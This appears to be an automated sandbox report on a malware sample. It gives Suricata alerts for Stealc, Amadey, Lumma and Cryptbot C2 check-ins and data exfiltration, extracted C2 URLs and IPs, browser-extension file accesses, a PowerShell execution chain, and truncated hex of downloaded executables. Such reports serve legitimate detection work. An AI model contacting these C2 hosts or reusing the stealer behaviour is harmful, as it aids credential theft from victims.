Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49913 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49924 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49923 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49937 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49944 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49951 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49952 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49973 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49974 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49982 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49996 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:50019 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:50032 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:50039 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:50040 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:50050 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:50054 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:50064 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:50071 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:50076 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:50083 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50101 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:50104 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50102 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:50116 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50122 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50124 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50125 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50126 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.147.2:443 -> 192.168.2.4:50128 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:50131 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.147.2:443 -> 192.168.2.4:50136 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.147.2:443 -> 192.168.2.4:50190 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.4:50196 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50198 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.129.91:443 -> 192.168.2.4:50199 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.4:50202 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50206 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50204 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50205 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.4:50207 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.189.173.22:443 -> 192.168.2.4:50216 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50234 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50235 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50236 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.79.173.40:443 -> 192.168.2.4:50276 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50345 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50347 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50348 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50346 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2155860293.000000006F8ED000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2155860293.000000006F8ED000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdbS source: powershell.exe, 00000018.00000002.2742486696.000000000799B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdbT source: powershell.exe, 00000012.00000002.2568634386.000000000712B000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6A5070 strlen,PR_SetError,strcpy,_mbsdec,strlen,_mbsinc,_mbsinc,FindFirstFileA,GetLastError,

0_2_6C6A5070

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

Child: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Jump to behavior

Source: chrome.exe	Memory has grown: Private usage: 1MB later: 40MB
Source: firefox.exe	Memory has grown: Private usage: 0MB later: 47MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49730 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.4:49730 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.4:49730 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.4:49730 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:49758 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:49759
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49783 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044623 - Severity 1 - ET MALWARE Amadey Bot Activity (POST) : 192.168.2.4:49796 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49808 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49814 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49828 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49853 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49839 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.4:49850 -> 34.116.198.130:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49868 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.4:49861 -> 34.116.198.130:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.4:49888 -> 34.116.198.130:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49895 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49919 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49927 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49938 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49969 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49985 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49981 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:50057 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:50344 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:50413
Source: Network traffic	Suricata IDS: 2800029 - Severity 1 - ETPRO EXPLOIT Multiple Vendor Malformed ZIP Archive Antivirus Detection Bypass : 31.41.244.11:80 -> 192.168.2.4:50416
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:50420 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49900 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49900 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49907 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49907 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49924 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49944 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49944 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49952 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49952 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:50019 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:50039 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50039 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50040 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50131 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.4:50116 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:50050 -> 104.21.33.116:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50050 -> 104.21.33.116:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: https://property-imper.sbs/api
Source: Malware configuration extractor	IPs: 185.215.113.43

Creates HTML files with .exe extension (expired dropper behavior)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: CC [server].exe.10.dr

Source: unknown

Network traffic detected: DNS query count 37

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 24 Nov 2024 01:13:06 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 24 Nov 2024 01:13:22 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 24 Nov 2024 01:13:23 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
